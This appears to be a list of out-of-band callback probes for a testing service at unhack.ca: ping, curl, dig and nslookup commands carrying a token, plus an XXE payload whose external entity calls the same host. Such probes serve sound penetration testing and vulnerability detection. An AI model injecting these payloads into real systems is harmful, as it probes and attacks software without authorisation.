$ ping -c1 -p 00cc435f88d19caa1210ff1706ace500 unhack.ca
 

$ curl http://unhack.ca/p/cc435f88d19caa1210ff1706ace5
 

$ dig cc435f88d19caa1210ff1706ace5 @unhack.ca
 

$ dig cc435f88d19caa1210ff1706ace5.ns.unhack.ca
 

C:\> nslookup cc435f88d19caa1210ff1706ace5 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/cc435f88d19caa1210ff1706ace5">]>
    <foo>&xxe;</foo>